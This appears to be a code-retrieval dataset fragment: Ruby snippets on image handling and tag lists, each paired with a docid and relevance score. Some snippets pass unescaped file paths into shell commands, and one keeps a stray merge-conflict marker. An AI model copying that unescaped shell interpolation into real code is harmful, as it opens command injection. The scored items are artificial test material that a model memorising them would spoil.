"text": "def pbResolveBitmap(x)\r\n return nil if !x\r\n noext = x.gsub(/\\.(bmp|png|gif|jpg|jpeg)$/,\"\")\r\n filename = nil\r\n# RTP.eachPathFor(x) { |path|\r\n# filename = pbTryString(path) if !filename\r\n# filename = pbTryString(path+\".gif\") if !filename\r\n# }\r\n RTP.eachPathFor(noext) { |path|\r\n filename = pbTryString(path+\".png\") if !filename\r\n filename = pbTryString(path+\".gif\") if !filename\r\n# filename = pbTryString(path+\".jpg\") if !filename\r\n# filename = pbTryString(path+\".jpeg\") if !filename\r\n# filename = pbTryString(path+\".bmp\") if !filename\r\n }\r\n return filename\r\nend",
"title": ""
},
{
"docid": "d65236540c3e1bb5fe23db95d80c4bdd",
"score": "0.55589974",
"text": "def extract_data\n require 'rubygems'\n require 'RMagick'\n pixels = []\n\n image = Magick::ImageList.new(\"public\"+(self.photo.url.split('?')[0]).gsub('%20',' '))\n # saved sample_row may be greater than image height, so temporarily compensate, \n # but preserve sample_row in case we rotate back or something\n self.sample_row = image.rows-2 if self.sample_row > image.rows\n row = image.export_pixels(0, self.sample_row, image.columns, 1, \"RGB\");\n\n (0..(row.length/3-1)).each do |p|\n r = row[p*3]/255\n g = row[p*3+1]/255\n b = row[p*3+2]/255\n pixels << '{wavelength:null,average:'+((r+g+b)/3).to_s+',r:'+r.to_s+',g:'+g.to_s+',b:'+b.to_s+'}'\n end\n\n # save it internally\n s = \"{name:'\"+self.title.gsub(\"'\",\"\")+\"',lines: [\"\n s += pixels.join(',')\n s += \"]}\"\n self.data = s\n s\n end",
"title": ""
},
{
"docid": "43354ecddcb7163c8e54e75737f8ab63",
"score": "0.55567",
"text": "def format\n return image_format\n end",
"title": ""
},
{
"docid": "43354ecddcb7163c8e54e75737f8ab63",
"score": "0.55567",
"text": "def format\n return image_format\n end",
"title": ""
},
{
"docid": "bd54c06e55a8a25fada84551d9f877c8",
"score": "0.5556488",
"text": "def filename\n super.gsub(/\\.(?:gif|png|jpg|jpeg)$/, '') + \".png\"\n end",
"title": ""
},
{
"docid": "b83056af5e3565ea5201b5d1e93f80d2",
"score": "0.55542094",
"text": "def decode_png_str_scanline_sub_none(stream, pos, prev_pos, line_length, pixel_size); end",
"title": ""
},
{
"docid": "a8402f6c5d12ac21f7451e92f1f2f07d",
"score": "0.5552771",
"text": "def process_barcode\n tmp_file_path = image.to_file.path rescue nil\n if !tmp_file_path.nil?\n self.barcode = %x{C:\\\\Program Files\\\\ZBar\\\\bin\\\\zbarimg -D \"#{self.image.to_file.path}\"}.scan(/\\d+/).second\n self.barcode_format = %x{C:\\\\Program Files\\\\ZBar\\\\bin\\\\zbarimg -D \"#{self.image.to_file.path}\"}.scan(/[^:]*/).first\n end\n end",
"title": ""
},
{
"docid": "0d1d8f390dabf5d2bfb5075f3b2c82ce",
"score": "0.55491984",
"text": "def slide_scan_image\n get_image 'misc_images/types_8.jpg'\n end",
"title": ""
},
{
"docid": "3062926034f7eeb923b0891c955731c3",
"score": "0.5548789",
"text": "def multipage_image_name(*options)\n\t\t\tname, extenstion = @check.image_file_name.split('.')\n\t\t\tname.chomp!(name[-2,2])+'.'+extenstion\n\t\tend",
"title": ""
},
{
"docid": "ebd443710a7a2915c5d34f5612e679de",
"score": "0.55467314",
"text": "def png\n String.from_java_bytes reply.getPng\n end",
"title": ""
},
{
"docid": "b4ea7d1e4dffaaab646a367d9c7db429",
"score": "0.5543046",
"text": "def suffix\n image_file.ext\n end",
"title": ""
},
{
"docid": "fd03c74614168919554656c76d9aa2eb",
"score": "0.5539388",
"text": "def process_image_convert\n icon.variant(resize: '100x100').processed\n end",
"title": ""
},
{
"docid": "cf9214da46dadb33664945f1f61aa179",
"score": "0.55376875",
"text": "def file_desc\n \"Images (#{file_ext(',')})\"\n end",
"title": ""
},
{
"docid": "cf9214da46dadb33664945f1f61aa179",
"score": "0.55376875",
"text": "def file_desc\n \"Images (#{file_ext(',')})\"\n end",
"title": ""
},
{
"docid": "6f4ca14cfe866a4dbb3a60a86b3e2226",
"score": "0.5536063",
"text": "def get_picture(el)\n picture = el.search('.img-thumbnail').to_s\n picture = picture.scan(/ers\\/\\d+.\\w{3}/)[0][4..-1] unless picture == \"\"\n picture\nend",
"title": ""
},
{
"docid": "da0aeb096aaaa5fd7d7bfe00de246d67",
"score": "0.5515793",
"text": "def makeImg2 (txt, outImg)\n\n\n\timg = Magick::Image.read('inherent.jpg').first\n\n\t#create text square (layer)\n\tdrw = Magick::Draw.new\n\tdrw.fill = 'white'\n\tdrw.fill_opacity(0.65)\n\tdrw.stroke = 'white'\n\tdrw.stroke_opacity(0.65)\n\tdrw.stroke_width(3)\n\tdrw.stroke_linecap('round')\n\tdrw.stroke_linejoin('round')\n\tdrw.rectangle(75,265,325,340)\n\tdrw.draw(img)\n\t\n\t#create text annotate\n\ttext = Magick::Draw.new\t\n\ttext.annotate(img, 0,0,0,0, txt) {\n\t\tself.fill = \"black\"\n\n\t\tself.font_family = \"arial\"\n\t\tself.pointsize\t=\t18\n\t\tself.gravity = CenterGravity\n\t}\t\n\n\t#text.draw(img)\n\n\timg.write 'output/'+outImg\n\nend",
"title": ""
},
{
"docid": "c935d8e88febf1f2741e6245e21ca712",
"score": "0.55150026",
"text": "def extract_image(doc, issue_number)\n image_block = doc.at_css('.mcnImageCardBlockInner')\n return { file: nil, caption: nil } unless image_block\n\n img_url = image_block.at_css('img').attribute('src').value\n caption = image_block.at_css('.mcnTextContent')\n .inner_text.dup.gsub(\"\\n\", ' ').strip\n return { file: nil, caption: nil } unless img_url\n\n file = \"vol-1-issue-#{issue_number}-header.#{img_url.split('.').last}\"\n IO.copy_stream(open(img_url), \"img/#{file}\")\n image_block.remove\n\n { file: file, caption: caption }\nend",
"title": ""
},
{
"docid": "f719c1ded1832758c594404310ffa78e",
"score": "0.5508232",
"text": "def encode_png_str_scanline_sub(stream, pos, prev_pos, line_width, pixel_size); end",
"title": ""
},
{
"docid": "04de65cad1124f647891a819b523eb5f",
"score": "0.549879",
"text": "def convert_bbcode_img(text)\n text.gsub!(/\\[img\\](.+?)\\[\\/img\\]/i) {\"\"}\n>>>>>>> ruby-china-origin\n end",
"title": ""
},
{
"docid": "cc989e2fbb1cc5bb4005ef814a8927fd",
"score": "0.54889435",
"text": "def image_by_type(type)\n return nil if image.blank?\n image.gsub(/(type\\=)square/, '\\1' + type.to_s)\n end",
"title": ""
},
{
"docid": "f58bb15055693c5c347cbd97f54d1aee",
"score": "0.5478704",
"text": "def parse_img \n\n count = 0\n id = 1\n\n txt = \"\"\n image_file = File.open(\"img/images.txt\", \"w\")\n\n file = File.open(\"bak/sps.txt\").each do |line|\n\n first_name = \"\"\n last_name = \"\"\n\n line.split(\"\\t\").each do |item|\n count += 1\n if count == 2\n first_name = \"#{item}\"\n\n elsif count == 3\n last_name = \"#{item}\"\n\n elsif count == 16 and \"#{item}\".include?(\"(\")\n\n url = \"#{item}\".scan(/\\(([^\\)]+)\\)/)[0][0]\n\n if (! (url.match(/\\/$/)) ) and ( url.match(/\\w+\\./) )\n txt << \"#{url}\\n\"\n download(\"#{url}\", id, first_name, last_name, \"img\")\n end\n\n end\n\n end\n\n count = 0\n id += 1\n \n end\n\n image_file << txt\n image_file.close\n\nend",
"title": ""
},
{
"docid": "726c73930c89757fa7afaa04c76a757b",
"score": "0.54723144",
"text": "def parse_img_for_import(line, img_src)\n img_file = \"#{line.split(\"/\").last.split(\"-\").first}.jpg\"\n i = Image.new\n i.blob.attach(io: File.open(img_src + img_file), filename: img_file)\n i.save\n return process_new_image(i)\n end",
"title": ""
},
{
"docid": "d390488fb33b5817ebc051b4a8fb7016",
"score": "0.5472224",
"text": "def handle_image(node, options={})\n klass = options[:klass]\n container = node.parent\n container.name = 'div'\n container['class'] = 'graphics ' + klass\n node.name = 'img'\n node['src'] = png_for_pdf(node.content.gsub(underscore_digest, '_'))\n node['alt'] = node['src'].split('.').first\n node.content = \"\"\n end",
"title": ""
},
{
"docid": "24c84bdd9ef5b4ab1fcb47efe98f5b12",
"score": "0.5467532",
"text": "def image\n Walker::IMAGE\n end",
"title": ""
},
{
"docid": "11dceda169878acc75c3791d3c47a8c1",
"score": "0.5467196",
"text": "def reverse\n require 'rubygems'\n require 'RMagick'\n\n image = Magick::ImageList.new(\"public\"+(self.photo.url.split('?')[0]).gsub('%20',' '))\nputs \"reversing\"\n image.flop!\n image.write(\"public\"+self.photo.url)\n self.photo.reprocess!\n end",
"title": ""
},
{
"docid": "76c3181755bc57cc8647d8ee11983705",
"score": "0.5466998",
"text": "def extract_filename\n end",
"title": ""
},
{
"docid": "2e43d8cc5aa6685bd7c12620a58fad2d",
"score": "0.5456794",
"text": "def images; end",
"title": ""
},
{
"docid": "2e43d8cc5aa6685bd7c12620a58fad2d",
"score": "0.5456794",
"text": "def images; end",
"title": ""
},
{
"docid": "1cb905974814e71ad17910d51810c625",
"score": "0.5449104",
"text": "def extract_thumb_and_preview\n self.setup_image_extraction_thumb_and_preview\n end",
"title": ""
},
{
"docid": "ae5e639bf7fe5ae616b029cd54f492e1",
"score": "0.5448664",
"text": "def mono(img)\n MiniMagick::Tool::Convert.new do |m|\n m << img.path\n m.colorspace('Gray')\n m.depth(Inkblot.color_depth)\n m << ('bmp3:' << img.path)\n end\n end",
"title": ""
},
{
"docid": "83919474131055a819627a79d07eb086",
"score": "0.54481125",
"text": "def convert_bbcode_img(text)\n text.gsub!(/\\[img\\](.+?)\\[\\/img\\]/i) {\"\"}\n end",
"title": ""
},
{
"docid": "83919474131055a819627a79d07eb086",
"score": "0.54481125",
"text": "def convert_bbcode_img(text)\n text.gsub!(/\\[img\\](.+?)\\[\\/img\\]/i) {\"\"}\n end",
"title": ""
},
{
"docid": "45eb43a72573c43b69e63cf326fb0ffd",
"score": "0.544665",
"text": "def test_make_preview_image\n recordings = @backend.query_recordings\n \n recording = recordings[0]\n test_image = @backend.preview_image(recording, :secs_in => 1)\n assert test_image.length > 0\n \n # Define an array of the decimal values of the PNG magic number\n png_sig = [137, 80, 78, 71, 13, 10, 26, 10]\n\n # Tested in ruby 1.9.2 returns chr instead of integers. \n # Tested result png for validity.\n\n png_sig.map!{|n| n.chr} if RUBY_VERSION == \"1.9.2\"\n \n test_image_sig = (0..7).collect { |i| test_image[i] }\n \n assert_equal test_image_sig, png_sig\n end",
"title": ""
},
{
"docid": "3e3867d933a4c58a9b46fa7a2d060669",
"score": "0.5439454",
"text": "def getNonFormats (picture_line)\n lines = splitByAtOr( picture_line)\n output = []\n lines = lines.each {|element|\n element.gsub!(/^[@^]#*\\.{0,1}#*[EeGg]#+/, '')\n element.gsub!(/^[@^]#+\\.{0,1}#*/, '')\n element.gsub!(/^[@^]#*\\.{0,1}#+/, '')\n element.gsub!(/^[@^]>+/, '')\n element.gsub!(/^[@^]\\|+/, '')\n element.gsub!(/^[@^]<*/, '')\n element.gsub!(/^[@^]/, '')\n element.gsub!(/~/, ' ')\n element.gsub!(/^&*/, '')\n output.push(element)\n }\n return output\n end",
"title": ""
},
{
"docid": "b5fc3f753daf2f942867691f8836ecac",
"score": "0.5432575",
"text": "def get_single_image(file, new_image_base_name)\n if File.basename(file).split('.').count > 2\n name_array = File.basename(file).split('.')\n name_array.pop\n image_file_name = name_array*'.'\n image_file_name =~ /#{new_image_base_name}[0-9][0-9][0-9][0-9]/\n else\n File.basename(file).split('.').first =~ /#{new_image_base_name}[0-9][0-9][0-9][0-9]/\n end\n end",
"title": ""
},
{
"docid": "b001c14711a9b804da3b690477874728",
"score": "0.5427125",
"text": "def extract_image(filename)\n CensorSensor::Image.extract_from_file(fname, ftype)\n end",
"title": ""
},
{
"docid": "3196ed7b2c92a1fd0f9f5a53189864f3",
"score": "0.5424821",
"text": "def mime_to_extension(mime)\n if mime =~ /image\\/jpeg/i\n return \"jpg\"\n elsif mime =~ /image\\/png/i\n return \"png\"\n elsif mime =~ /image\\/tiff/i\n return \"tif\"\n elsif mime =~ /image\\/gif/i\n return \"gif\"\n end\n puts \"Extension not found !\"\n return \"\"\n end",
"title": ""
},
{
"docid": "a52b863419d0c12b58deb4c7a2c20e1e",
"score": "0.5424508",
"text": "def extract_all_images_from_pdf(pdf)\n basename = File.basename(pdf, File.extname(pdf))\n %x[pdfimages -j #{pdf.shellescape} \"#{basename}\"]\n end",
"title": ""
},
{
"docid": "22ce96420d2f98572413f90aff96fadb",
"score": "0.5421035",
"text": "def image_gen(slide)\n \n term = slide['term']\n kind = slide['kind'] || nil\n index = slide['index'] || nil\n body = slide['display'] || nil\n \n base = Magick::Image.read(BACKGROUND)[0]\n canvas = Magick::ImageList.new\n canvas.new_image(HPIXELS, VPIXELS, Magick::TextureFill.new(base))\n\n # heading\n heading = term\n heading_text = Magick::Draw.new\n heading_text.font_family = HEAD_FONT\n heading_text.pointsize = HEAD_FONT_SIZE\n heading_text.interline_spacing = -(HEAD_FONT_SIZE * 0.10)\n if kind\n if index\n heading += \" (\" + kind + \")\"\n else\n heading += \"\\n(\" + kind + \")\"\n end\n end\n if index\n heading_text.gravity = Magick::NorthWestGravity\n else\n heading_text.gravity = Magick::CenterGravity\n end\n annotate(heading_text, canvas, 0,0,15,15, heading)\n \n # body\n if index\n body_text = Magick::Draw.new\n body_text.interline_spacing = -(BODY_FONT_SIZE * 0.20)\n body_text.font_family = BODY_FONT\n body_text.pointsize = BODY_FONT_SIZE\n body_text.gravity = Magick::NorthWestGravity\n body = text_break(body) #, 24)\n \n line_count = body.count(\"\\n\")\n if line_count > 5\n body = text_break(body, 44) #, 28)\n body_text.pointsize = BODY_FONT_SIZE - (line_count - 5) * 4\n end\n \n annotate(body_text, canvas, 0,0,40,110, body)\n end\n \n file_name = file_name_gen(slide, \".#{IMAGE_KIND}\")\n \n canvas.append(true).write(\"#{file_name}\")\n slide['image'] = file_name\n \nend",
"title": ""
},
{
"docid": "598b398e90629adbbdf288a66cda9814",
"score": "0.540554",
"text": "def public_img(temp_name, pub_name)\r\n \r\n # width and height of image (!) strings, not integers\r\n width, height =\r\n %x[identify -format \"%wx%h\" #{temp_name}].split('x').map(&:to_i)\r\n \r\n # Have no idea what's going on here\r\n # We crop image to first column where\r\n # black pixel on the baseline is located\r\n # then trim it from the top\r\n # Height of the leftover is our depth+1\r\n depth = %x[convert #{temp_name} -crop 1x#{height}+0+0 \\\r\n +repage -affine 2,0,0,1,0,0 -transform -gravity South \\\r\n -background blue -splice 0x1 -trim +repage #{@ext}:- \\\r\n | identify -format \\\"%h\\\" #{@ext}:-].to_i - 2\r\n \r\n #\r\n # here should be the test on dimensions\r\n #\r\n\r\n # remove first column and save to pub_name\r\n # -crop #{width-1}x#{height}+1+0 +repage\r\n %x[convert -comment \\\"#{depth}\\\" #{temp_name} \\\r\n -crop #{width-1}x#{height}+1+0 +repage #{pub_name}]\r\n\r\n # set permissions and delete temp img\r\n FileUtils.chmod 0777, pub_name\r\n\r\n depth\r\n end",
"title": ""
}
] |
e6d3c25eaf5fb296165e96ed0081a87f
|
Example tags ["zagatrated","brunch","fried chicken","ice cream"]
|
[
{
"docid": "254bca6c8643d7e38af72515be5cec8a",
"score": "0.0",
"text": "def filter_by_tag(tag)\n get_venues_for_filtering if @venues_to_filter.empty?\n @venues_by_tag = []\n @venues_to_filter.each do |venue|\n venue[\"tags\"].each do |venue_tag|\n if venue_tag.downcase == tag.downcase\n @venues_by_tag << venue[\"name\"]\n end\n end\n end\n @venues_by_tag\n end",
"title": ""
}
] |
[
{
"docid": "aa1a3c317604cd6ec0cb189d075a8e9e",
"score": "0.7598202",
"text": "def tag_list\n #tags sie bierze z asocjacji\n tags.map { |t| t.name }.join(\",\")\n end",
"title": ""
},
{
"docid": "a884c49b76badeb8db3e2a64574815b3",
"score": "0.742346",
"text": "def tag_list\n tags.join(\", \")\n end",
"title": ""
},
{
"docid": "5b131464eca1414f8d12e02e3d0b013d",
"score": "0.7396041",
"text": "def tags(*list)\n @tags.concat(makelist(list)) unless list.empty?\n @tags\n end",
"title": ""
},
{
"docid": "aeab23a3be4afa84926a7149dec76c47",
"score": "0.73579663",
"text": "def tag_list\n tags.map(&:name).join(\", \")\n end",
"title": ""
},
{
"docid": "aeab23a3be4afa84926a7149dec76c47",
"score": "0.73579663",
"text": "def tag_list\n tags.map(&:name).join(\", \")\n end",
"title": ""
},
{
"docid": "aeab23a3be4afa84926a7149dec76c47",
"score": "0.73579663",
"text": "def tag_list\n tags.map(&:name).join(\", \")\n end",
"title": ""
},
{
"docid": "10677cec0f2d3c7151455441aa58bc28",
"score": "0.7335565",
"text": "def tag_list\n tags.map { |tag| tag.name.include?(\" \") ? '\"' +\"#{tag.name}\" + '\"' : tag.name }.join(\" \")\n end",
"title": ""
},
{
"docid": "c6ba77c4e36910408038f3862128e6f4",
"score": "0.73328316",
"text": "def tags() []; end",
"title": ""
},
{
"docid": "eedb98f0f40cfd482924adff9cac5682",
"score": "0.7332783",
"text": "def tag_list\n tags.collect(&:name).join(', ')\n end",
"title": ""
},
{
"docid": "eedb98f0f40cfd482924adff9cac5682",
"score": "0.7332783",
"text": "def tag_list\n tags.collect(&:name).join(', ')\n end",
"title": ""
},
{
"docid": "7f5e5c29dc66c9bb22465ff50d4b22fc",
"score": "0.7332494",
"text": "def tag_list\n tags.map(&:name).join(', ')\n end",
"title": ""
},
{
"docid": "213e1f083c9dd0f950de3f3e7bcf99e1",
"score": "0.7331657",
"text": "def tag_list\n tags.map(&:name).join(\", \")\n end",
"title": ""
},
{
"docid": "ab239355c19730b1272435965e9fb6a4",
"score": "0.7291316",
"text": "def list_of_tags\n tag_list\n end",
"title": ""
},
{
"docid": "6cc652b5800d13978227d9c561aa7fcc",
"score": "0.72395664",
"text": "def tag_names\n if tags_string\n tags_string.split(',').map(&:strip)\n else\n []\n end\n end",
"title": ""
},
{
"docid": "849a3f2c7eb4dff579691800f9e6eae1",
"score": "0.7219953",
"text": "def tag(tags = self.tags)\n tags.to_s.split(/\\s*,\\s*/).uniq\n end",
"title": ""
},
{
"docid": "43b19159d4ec258f382beacb84c76b2d",
"score": "0.7193482",
"text": "def tag(*tags)\n attribute 'tags' do |existing_tags|\n existing_tags ||= []\n tags.each do |tag|\n if !existing_tags.include?(tag.to_s)\n existing_tags << tag.to_s\n end\n end\n existing_tags\n end\n end",
"title": ""
},
{
"docid": "9ecb3e21eb0272cf371ebff09e2f402c",
"score": "0.71904516",
"text": "def tags; end",
"title": ""
},
{
"docid": "9ecb3e21eb0272cf371ebff09e2f402c",
"score": "0.71904516",
"text": "def tags; end",
"title": ""
},
{
"docid": "9ecb3e21eb0272cf371ebff09e2f402c",
"score": "0.71904516",
"text": "def tags; end",
"title": ""
},
{
"docid": "9ecb3e21eb0272cf371ebff09e2f402c",
"score": "0.71904516",
"text": "def tags; end",
"title": ""
},
{
"docid": "9ecb3e21eb0272cf371ebff09e2f402c",
"score": "0.71904516",
"text": "def tags; end",
"title": ""
},
{
"docid": "20f9a4ebc6bb37882419c3a36f228dfa",
"score": "0.7165263",
"text": "def tagging_tags\n filtered_tags(:tagtype_x => [11, :Collection, :List])\n end",
"title": ""
},
{
"docid": "a82175ecb72ec61dc94588b77e0de9d3",
"score": "0.7160589",
"text": "def tags_text\n\t\tself.tags.join(', ') #convertir el arreglo en una cadena de texto separado por ,\n\tend",
"title": ""
},
{
"docid": "ff7a9db2437cd744ef5660427d15e5eb",
"score": "0.71327925",
"text": "def all_tags\n tags.map(&:title).join(\", \")\n end",
"title": ""
},
{
"docid": "a08897c0f5f4e78ec05dc7d9283ab647",
"score": "0.7114182",
"text": "def tag_list\n tags.collect do |tag|\n tag.name\n end.join(', ')\n end",
"title": ""
},
{
"docid": "01dbb9b2b6c71c5f3b05f0b4bf4af39b",
"score": "0.710882",
"text": "def tag_list\n tags.map{ |tag| tag.name }.reject(&:empty?).join(\" \")\n end",
"title": ""
},
{
"docid": "522ef3161edc7a14e861b88179c43743",
"score": "0.71003175",
"text": "def tags (tags)\n tags = [tags] if tags.is_a? String\n \n tags = tags.map{ |tag| \"<li><a href=\\\"/tags/#{tag}\\\">#{tag}</a></li>\" }\n \n \"<ul>#{tags.sort.join(' ')}</ul>\"\n end",
"title": ""
},
{
"docid": "e05749f16ba658b3d8a3e71eea7a4939",
"score": "0.7077801",
"text": "def tags\n ['any'] + @tags\n end",
"title": ""
},
{
"docid": "e05749f16ba658b3d8a3e71eea7a4939",
"score": "0.7077801",
"text": "def tags\n ['any'] + @tags\n end",
"title": ""
},
{
"docid": "a56fd8c33114bfea792bb0c86a8102fb",
"score": "0.7063902",
"text": "def tags(*args)\n tags = args.length == 1 ? args.first : args\n dsl_data[:tag_list] += tags\n end",
"title": ""
},
{
"docid": "eef95df96597b1d22f2ef08616d8c710",
"score": "0.7036368",
"text": "def tag\n tags.to_s.split(/\\s*,\\s*/).uniq\n end",
"title": ""
},
{
"docid": "03aed83d9d03ecbeb45773b9ee5962cf",
"score": "0.7034756",
"text": "def taglist\n\tself.tags.map {|t| t.name}\n end",
"title": ""
},
{
"docid": "9d7f35589ea6bfd98e40dfbb5f8d873f",
"score": "0.7025696",
"text": "def access_tags\n tags = []\n tags << 'admin' if admin?\n tags << 'speaker' if speaker?\n tags << 'staff' if staff?\n tags\n end",
"title": ""
},
{
"docid": "b63c7f686d9cb393c32361c3d8b10da9",
"score": "0.7013598",
"text": "def build_tags(tags, category)\n \t\ttags = tags.split(',').map{ |tag| tag.strip } << category\n \t\ttags.flatten\n \tend",
"title": ""
},
{
"docid": "0ed334b49d0f5020a58c9b221bd9deae",
"score": "0.7000592",
"text": "def tag_list(list = [])\n taggings = ActsAsTaggableOn::Tagging.find_all_by_taggable_id(id)\n if taggings\n taggings.each do |tagging|\n next unless tagging.context == 'interest'\n list << ActsAsTaggableOn::Tag.find(tagging.tag_id).name\n end\n end\n # return empty default or tags retrieved via ActsAsTaggableOn\n list\n end",
"title": ""
},
{
"docid": "feadf8032901c3eaa3e349de793a8677",
"score": "0.6998568",
"text": "def tag_list\n\t\tself.tags.map(&:name).join(\", \")\n\tend",
"title": ""
},
{
"docid": "fe6c3dbb4314aba7c443789f8c3cab30",
"score": "0.6991835",
"text": "def tags_array\n # http://stackoverflow.com/a/17641383/2080089\n return self.tags.split(',').uniq.map(&:strip)\n end",
"title": ""
},
{
"docid": "e2cdfc98d0961262586858f25e43d2ab",
"score": "0.69818366",
"text": "def tag_list\n self.tags.collect do |tag|\n tag.name\n end.join(\", \")\n end",
"title": ""
},
{
"docid": "8e2218abcd5b033926b333684be4eecc",
"score": "0.69551396",
"text": "def tagged_with(context, tags)\n tags = convert_string_to_array(tags, get_tag_separator_for(context)) if tags.is_a? String\n array_field = tag_options_for(context)[:array_field]\n all_in(array_field => tags)\n end",
"title": ""
},
{
"docid": "f834d6a564c4cfd2905d340d6ca1adb9",
"score": "0.6950844",
"text": "def tag_list\n self.tags.collect do |tag|\n tag.name\n end.join(\", \")\n end",
"title": ""
},
{
"docid": "a29149e15f85f1770cbfb1e9751beabf",
"score": "0.69405216",
"text": "def tags_partial(tags)\n \"tags = [#{tags.map { |name, value| \"\\\"#{name}-#{value}\\\"\" }.join(', ')}]\"\n end",
"title": ""
},
{
"docid": "e12aab2b8df7325b72c6ed917706a5f6",
"score": "0.6933281",
"text": "def tags(*tags)\n if tags.size == 0\n attribute('tags')\n else\n tags = tags[0] if tags.size == 1 && tags[0].kind_of?(Array)\n attribute 'tags', tags.map { |tag| tag.to_s }\n end\n end",
"title": ""
},
{
"docid": "9cfccc5d9e35ea3783ff5a69a0fb5469",
"score": "0.6917917",
"text": "def tags_string\n tags.map(&:name).join(\" \")\n end",
"title": ""
},
{
"docid": "01efaa25fdb6a27bdf28ec6d99983b47",
"score": "0.6913611",
"text": "def tags\n entries = Entry.all\n # Create a list of all the tags, as a String\n tags_list = String.new\n entries.each do |entry|\n tags_list << entry.tags + \" \"\n end\n # Convert the String to a global array, removing the duplicate elements\n $tags_array = tags_list.split.uniq\n end",
"title": ""
},
{
"docid": "d03aa6cea6bfd0cfdf4955af3852610f",
"score": "0.6912306",
"text": "def tags ( what=\"all\" )\n\t send( what )\n\t r = Array.new\n\t each { |l| r << l.chomp.split[0] }\n\t r\n\tend",
"title": ""
},
{
"docid": "74c75c856e574a42bf4b1ef91f037116",
"score": "0.69092023",
"text": "def tags_partial(tags)\n \"tags = [#{tags.map { |tag| \"\\\"#{tag}\\\"\" }.join(', ')}]\"\n end",
"title": ""
},
{
"docid": "1e0beabe439a84c3abbaaa2c64641dad",
"score": "0.6892417",
"text": "def tag_names #helper method\n # gets tag names in an array\n self.tags.map { |tag| tag.name }\n end",
"title": ""
},
{
"docid": "060c014578becf8977ec7dd8e449fe4b",
"score": "0.6878051",
"text": "def tags=(value)\n @tags = value.is_a?(String) ? value.gsub(', ', ',').split(',') : value\n end",
"title": ""
},
{
"docid": "daf3abdeea297f209a1bfae37d19d472",
"score": "0.68540806",
"text": "def tags\n article_tags = data.tags || data.tag\n \n if article_tags.is_a? String\n article_tags.split(',').map(&:strip)\n else\n Array(article_tags).map(&:to_s)\n end \n end",
"title": ""
},
{
"docid": "0772d462e602b98fbfacca884410eb64",
"score": "0.6846721",
"text": "def tag_list\n\t\t@tag_list ||= self.tags.map { |tag| tag.name }.join(', ')\n\tend",
"title": ""
},
{
"docid": "5a7c972760f0b6057f1f8e5fb08bb28f",
"score": "0.68447334",
"text": "def my_tag_list\n self.taggings.order('id ASC').map(&:tag).map(&:name)\n end",
"title": ""
},
{
"docid": "560e8ff80389dbc54e4ca7e62104ea4b",
"score": "0.6834693",
"text": "def tag_list\n #converting all tag objects to an array of tag names\n self.tags.collect do |tag|\n tag.name\n end.join(\", \") #join the array of tag names with a comma\n end",
"title": ""
},
{
"docid": "ecb22f613ab19cd95b675a823a02fc04",
"score": "0.6816021",
"text": "def tag_with(tag_names)\n _tags = []\n Tag.parse(tag_names).each do |tag_name|\n _tags << Tag.find_or_create_by_name(tag_name.downcase)\n end\n self.tags = _tags.uniq\n end",
"title": ""
},
{
"docid": "0dd2a824b2a92967d4219d8cd59d1535",
"score": "0.6809633",
"text": "def tag_names\n @tag_names || tags.map(&:name).join(',')\n end",
"title": ""
},
{
"docid": "2479642ff8361ae3759deceb6ee158dc",
"score": "0.68082",
"text": "def tags(*tags)\n @_tags = tags unless tags.empty?\n @_tags\n end",
"title": ""
},
{
"docid": "7046feef1e8ca8e81864513effcb8697",
"score": "0.6805891",
"text": "def tags\n @tags ||= []\n end",
"title": ""
},
{
"docid": "8782f2c12138491ceca27fa94d2e41bf",
"score": "0.6799775",
"text": "def tag_list; []; end",
"title": ""
},
{
"docid": "31c8fa008a8b914ad2ddc3154e8e62c7",
"score": "0.6794074",
"text": "def tags\n @tags ||= []\n end",
"title": ""
},
{
"docid": "30d06673100ce8a29edc49e6bd5d763a",
"score": "0.6790634",
"text": "def tag_list\n data[:tag_list]\n end",
"title": ""
},
{
"docid": "30d06673100ce8a29edc49e6bd5d763a",
"score": "0.6790634",
"text": "def tag_list\n data[:tag_list]\n end",
"title": ""
},
{
"docid": "80369a0fe5d0e7a0bcc8b537e67243ff",
"score": "0.67837906",
"text": "def tag(*tags)\n p tags\n tags.each do |tag|\n tag << self\n @tags << tag\n end\n end",
"title": ""
},
{
"docid": "80369a0fe5d0e7a0bcc8b537e67243ff",
"score": "0.67837906",
"text": "def tag(*tags)\n p tags\n tags.each do |tag|\n tag << self\n @tags << tag\n end\n end",
"title": ""
},
{
"docid": "5c224ba25e0790ebd983cd2b72afdbde",
"score": "0.67826474",
"text": "def tag_list\n\t\tself.tags.collect do |tag|\n\t\t\ttag.name\n\t\tend.join(\", \") #When we joined the array Ruby called the default #to_s method on every one of these Tag instances \n\tend",
"title": ""
},
{
"docid": "0b48b2ec2662f153eab034434de6c556",
"score": "0.6766626",
"text": "def tags\n\t\tt = read_attribute(:tags)\n\t\tt.nil? ? \"\" : t.join(', ')\n\tend",
"title": ""
},
{
"docid": "c46f8a5c3269168b91e2c3ac25e9e4e3",
"score": "0.6764037",
"text": "def tag_list= value\n self.tags = value.split(',').map(&:strip)\n end",
"title": ""
},
{
"docid": "c46f8a5c3269168b91e2c3ac25e9e4e3",
"score": "0.6764037",
"text": "def tag_list= value\n self.tags = value.split(',').map(&:strip)\n end",
"title": ""
},
{
"docid": "14af7cea5532682cf53c5a7e34326c9e",
"score": "0.6754635",
"text": "def get_tags() tag_ids.inject([]) { |l, tag_id| l << get_tag_from_id(tag_id) } end",
"title": ""
},
{
"docid": "7b55bba07f903513a4c0c050ab131ed5",
"score": "0.67527395",
"text": "def tags=(tags)\n @tags = \n case tags\n when String\n tags\n when Array\n tags.map(&:to_s).join(',')\n end\n @tags\n end",
"title": ""
},
{
"docid": "a93a4e04f864cd88227dd4670e3dda7c",
"score": "0.6750556",
"text": "def add_tags(*list)\n tags.push(*list).uniq!\n tags\n end",
"title": ""
},
{
"docid": "e36ae42b67ce1c130936c5fc1f0c0338",
"score": "0.67468274",
"text": "def tag_list\n tag_list_array = self.tags.to_a\n tag_list_array.delete_if { |tag| Tag.main_tags.include?(tag.name) }\n tag_list_array.map(&:name).join(\", \")\n end",
"title": ""
},
{
"docid": "69e7f14840b939dff96b19bc8ad6848f",
"score": "0.67437613",
"text": "def all_tags\n\t\ttags.map(&:name).join(\", \")\n\tend",
"title": ""
},
{
"docid": "9dd79ef4cc6c1923dc814d4cb9061c11",
"score": "0.67387086",
"text": "def tags\n caption.to_s.scan(/#(\\w+)/).flatten\n end",
"title": ""
},
{
"docid": "fcde894d0f7b731ce46c58787ddd24e8",
"score": "0.6737861",
